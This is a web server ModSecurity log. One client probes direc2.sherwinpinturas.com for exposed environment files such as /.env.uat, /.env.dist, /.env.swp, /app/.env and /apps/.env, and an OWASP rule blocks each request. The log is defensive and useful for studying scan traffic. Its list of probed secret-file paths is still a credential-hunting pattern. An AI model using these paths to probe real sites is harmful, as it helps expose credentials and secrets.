[Sat Oct 24 18:41:53.430079 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at00MXxUk1Q9Uwuht9UDRwAAAAE"]
[Sat Oct 24 18:41:53.430428 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at00MXxUk1Q9Uwuht9UDRwAAAAE"]
[Sat Oct 24 18:41:53.430885 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at00MXxUk1Q9Uwuht9UDRwAAAAE"]
[Sat Oct 24 18:41:53.689011 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at00MXxUk1Q9Uwuht9UDSAAAAAE"]
[Sat Oct 24 18:41:53.689237 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at00MXxUk1Q9Uwuht9UDSAAAAAE"]
[Sat Oct 24 18:41:53.689859 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at00MXxUk1Q9Uwuht9UDSAAAAAE"]
[Sat Oct 24 18:41:53.825232 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at00MXxUk1Q9Uwuht9UDSQAAAAE"]
[Sat Oct 24 18:41:53.825499 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at00MXxUk1Q9Uwuht9UDSQAAAAE"]
[Sat Oct 24 18:41:53.825855 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at00MXxUk1Q9Uwuht9UDSQAAAAE"]
[Sat Oct 24 18:41:53.959232 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at00MXxUk1Q9Uwuht9UDSgAAAAE"]
[Sat Oct 24 18:41:53.959496 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at00MXxUk1Q9Uwuht9UDSgAAAAE"]
[Sat Oct 24 18:41:53.959823 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at00MXxUk1Q9Uwuht9UDSgAAAAE"]
[Sat Oct 24 18:41:54.108987 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at00MnxUk1Q9Uwuht9UDSwAAAAE"]
[Sat Oct 24 18:41:54.109218 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at00MnxUk1Q9Uwuht9UDSwAAAAE"]
[Sat Oct 24 18:41:54.109496 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at00MnxUk1Q9Uwuht9UDSwAAAAE"]
[Sat Oct 24 18:41:54.129606 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.107.102:20498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:54.233416 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at00MnxUk1Q9Uwuht9UDTAAAAAE"]
[Sat Oct 24 18:41:54.233655 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at00MnxUk1Q9Uwuht9UDTAAAAAE"]
[Sat Oct 24 18:41:54.234009 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at00MnxUk1Q9Uwuht9UDTAAAAAE"]
[Sat Oct 24 18:41:54.393182 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at00MnxUk1Q9Uwuht9UDTQAAAAE"]
[Sat Oct 24 18:41:54.393445 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at00MnxUk1Q9Uwuht9UDTQAAAAE"]
[Sat Oct 24 18:41:54.393803 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at00MnxUk1Q9Uwuht9UDTQAAAAE"]
[Sat Oct 24 18:41:54.502852 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at00MnxUk1Q9Uwuht9UDTgAAAAE"]
[Sat Oct 24 18:41:54.503129 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at00MnxUk1Q9Uwuht9UDTgAAAAE"]
[Sat Oct 24 18:41:54.503455 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at00MnxUk1Q9Uwuht9UDTgAAAAE"]
[Sat Oct 24 18:41:54.613185 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at00MnxUk1Q9Uwuht9UDTwAAAAE"]
[Sat Oct 24 18:41:54.613407 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at00MnxUk1Q9Uwuht9UDTwAAAAE"]
[Sat Oct 24 18:41:54.613750 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at00MnxUk1Q9Uwuht9UDTwAAAAE"]
[Sat Oct 24 18:41:54.837996 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at00MnxUk1Q9Uwuht9UDUAAAAAE"]
[Sat Oct 24 18:41:54.838288 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at00MnxUk1Q9Uwuht9UDUAAAAAE"]
[Sat Oct 24 18:41:54.838687 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at00MnxUk1Q9Uwuht9UDUAAAAAE"]
[Sat Oct 24 18:41:54.957091 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at00MnxUk1Q9Uwuht9UDUQAAAAE"]
[Sat Oct 24 18:41:54.957375 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at00MnxUk1Q9Uwuht9UDUQAAAAE"]
[Sat Oct 24 18:41:54.957714 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at00MnxUk1Q9Uwuht9UDUQAAAAE"]
[Sat Oct 24 18:41:55.113116 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUgAAAAE"]
[Sat Oct 24 18:41:55.113371 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUgAAAAE"]
[Sat Oct 24 18:41:55.113682 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUgAAAAE"]
[Sat Oct 24 18:41:55.282652 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUwAAAAE"]
[Sat Oct 24 18:41:55.282872 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUwAAAAE"]
[Sat Oct 24 18:41:55.283206 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDUwAAAAE"]
